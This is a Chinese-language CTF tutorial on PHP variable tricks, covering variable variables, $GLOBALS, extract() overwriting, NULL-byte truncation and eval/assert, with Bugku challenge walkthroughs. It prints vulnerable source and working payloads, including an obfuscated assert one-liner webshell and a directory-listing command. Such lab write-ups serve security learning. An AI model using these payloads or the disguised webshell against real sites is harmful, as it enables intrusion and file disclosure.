CTF-WEB:PHP 變量


特殊的變量

可變變量

一個可變變量 “$$” 獲取了一個普通變量的值后,用這個值作為這個可變變量的變量名。一個美元符號表示提取變量中的值,而 2 個連續的美元符號表示用某個變量的內容作為變量名,再來訪問該變量。例如以下代碼:

<?php
$a = "b";
$b = "c";
$c = "a";

echo $a;      //輸出 b
echo $$a;      //輸出 c
echo $$$a;      //輸出 a
?>

超全局變量

PHP 的 $ GLOBALS 是一個超全局變量,它引用全局作用域中可用的全部變量。變量時一個包含了全部變量的全局組合數組,變量的名字就是數組的鍵。有時候當 flag 隱藏在某個變量中時,可以考慮從 GLOBALS 中得到。

變量覆蓋

extract() 函數從數組中將變量導入到當前的符號表。使用數組鍵名作為變量名,使用數組鍵值作為變量值,針對數組中的每個元素將在當前符號表中創建對應的一個變量。extract() 函數也可以將 GET 傳入的數據進行轉換,例如:

<?php
$a = false;
extract($_GET);
if($flag)
{
      echo "flag{}"
}
?>

此時變量 a 已經被定義了,但是在 extract() 函數轉換 GET 方法傳入的數據時,傳入的 a 在轉換時就會把原來的變量覆蓋掉。

NULL 截斷

PHP 是基於 C 語言實現的,因此 PHP 在底層使用了一些 C 語言的字符串處理函數。在遇到 NULL(\x00) 字符時,處理函數會把該字符當做結束標記,這就可以在遍歷結尾處去除不想要的字符。例如這段代碼包含的文件名后面會被強行加上字符 'text.html',使得我們不能夠直接包含文件。但是我們可以在文件名后面加個 % 00 字符來截斷,這樣后面的字符就會被忽略了。

$file = $_GET['file'];
include $flie.'text.html';

不過這個漏洞在新版本的 PHP 中已經被修好了,很少會用到。

eval() 函數和 assert

eval() 函數可以把把字符串當成 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾。語法如下:

eval(phpcode);    //phpcode 參數必需,規定要計算的 PHP 代碼。

與之功能相似的是 assert 斷言,assert 是個宏,不過為了好理解可以先把它當做和 eval() 函數一樣的東西,即可以執行括號內的代碼。

例題:bugku-變量 1

打開網頁,可以直接看到源碼。

flag In the variable !  <?php

error_reporting(0);    // 關閉php錯誤顯示
include "flag1.php";    // 引入 flag1.php 文件代碼
highlight_file(__file__);
if(isset($_GET['args'])){    // 通過get方式傳遞 args變量才能執行if里面的代碼
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){    // 匹配任意大小寫字母和 0 到 9 以及下划線組成
        die("args error!");
    }
    eval("var_dump($$args);");      //var_dump() 函數用於輸出變量的相關信息
}
?>

因為這里有個 preg_match() 函數,它會通過正則表達式匹配字符串,因此不能使用其他的漏洞。根據提示 flag 藏在一個變量之中,觀察到代碼中有“$$”的可變變量用法。

也就是說,此時不需要去猜測 flag 藏在那個變量中,因為知道了變量名,有了“$$”也不能直接訪問。現在需要知道保存 flag 的變量是哪個變量的值,因為 var_dump() 函數可以輸出變量,如果變量是個數組也可以,例如:

<?php
$args = array(1, 2, 3);
var_dump($args);
?>

則數組 args 中的內容都可以被輸出來,因此該函數也能把 “$GLOBALS” 中的內容都輸出來。因此我們只需要把 GLOBALS 傳遞過去就行,構造 payload:

?args=GLOBALS

例題:bugku-extract 變量覆蓋

源碼如下,flag 變量已經被定義了,如果用 GET 傳入的變量中存在一個名叫 shiyan 的字符串,則將 flag 變量的值賦給 content 變量,如果變量 shiyan 和變量 content 的值相同就輸出 flag 的值。

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
          echo'flag{xxx}';
    }
    else
    {
          echo'Oh.no';
    }
}
?>

此時 flag 變量被賦值成什么值我們不得而知,所以現在的想法是把 flag 變量覆蓋掉。由於 extract() 函數可以將所有 GET 方法傳入的數據全部換成變量,因此可以在傳入 shiyan 變量時也傳入一個 flag 變量。構造 payload 提交到指定網頁,提交獲得 flag。

?shiyan=&flag=

例題:bugku-Web 8

源碼如下,注意到代碼中使用了 extract() 獲取了系列參數,考慮使用變量覆蓋的手法。根據對源碼的分析,變量 f 的值來自於變量 fn 表示的文件,當變量 ac 等於變量 f 的值時輸出 flag。注意這里的判斷使用的是 “===”,而且變量 ac 不能為空。

<?php
extract($_GET);
if (!empty($ac))
{
    $f = trim(file_get_contents($fn)); 
    if ($ac === $f)
    {
        echo "<p>This is flag:" ." $flag</p>";
    }
    else   
    {
        echo "<p>sorry!</p>";
    }
}
?>

根據提示 “txt????” 我們猜測可能還有某個 txt 文件能為我們所用,根據經驗這個文件可能是 flag.txt。訪問 flag.txt 文件,得到這個文件的內容是 “flags”。

接下來就可以解題了,我們可以覆蓋變量 fn,fn 的值為 flag.txt,這樣 f 變量的值經過 file_get_contents() 文件提取函數之后的值應該為 “flags”。接着我們讓 ac 的值也為 “flags”,這樣就同時滿足 ac 不為空且等於變量 f 了。綜上所述,構造 payload:

?ac=flags&fn=flag.txt

例題:bugku-本地包含

題目的源碼如下,觀察到代碼將提取一個 REQUEST 變量,這個變量時 HTTP Request 變量,默認情況下包含了 GET、POST 和 COOKIE 的數組。

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");      //var_dump() 函數可以輸出變量的類型和值
    show_source(__FILE__);
?>

除了利用 eval() 函數和使用 PHP 偽協議,還可以直接把 flag.php 導入到 hello 變量中直接顯示出來。

hello=file("flag.php")

例題:bugku-過狗一句話

首先先認識下下 explode() 函數,函數可以使用一個字符串分割另一個字符串,並返回由字符串組成的數組。函數語法和參數如下:

explode(separator,string,limit)
參數 說明
separator 必需,規定在哪里分割字符串
string 必需,要分割的字符串
limit 可選,規定所返回的數組元素的數目

例如以下代碼:

$str = 'one,two,three,four';
print_r(explode(',',$str));

輸出的結果為:

Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
)

源碼如下,觀察到有一個 explode() 函數,也就是說字符串 poc 將會被切割為一個數組。

<?php
    $poc = "a#s#s#e#r#t";
    $poc_1 = explode("#",$poc);
    $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_GET['s'])
?>

此處稍微有點不好理解,變量 poc_2 是由 5 個字符拼接成的字符串 “assert”。此時注意看最后一行的寫法,“$” 符號提取 poc_2 中的值,后面接上代碼等同於使用了 assert 函數。

assert($_GET['s'])

注意這里括號內的代碼是用 GET 方法傳入的變量 s 中的內容,也就是說我們可以將一段代碼賦給 s 來執行。我們懷疑 flag 藏在網頁目錄下的一個文件中,因此可以使用 scandir() 函數來獲取目錄下的所有文件,然后帶上輸出函數看看。

?s=print_r(scandir('./'))


這里可以看到 flag 所在的文件了,訪問之后獲得。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM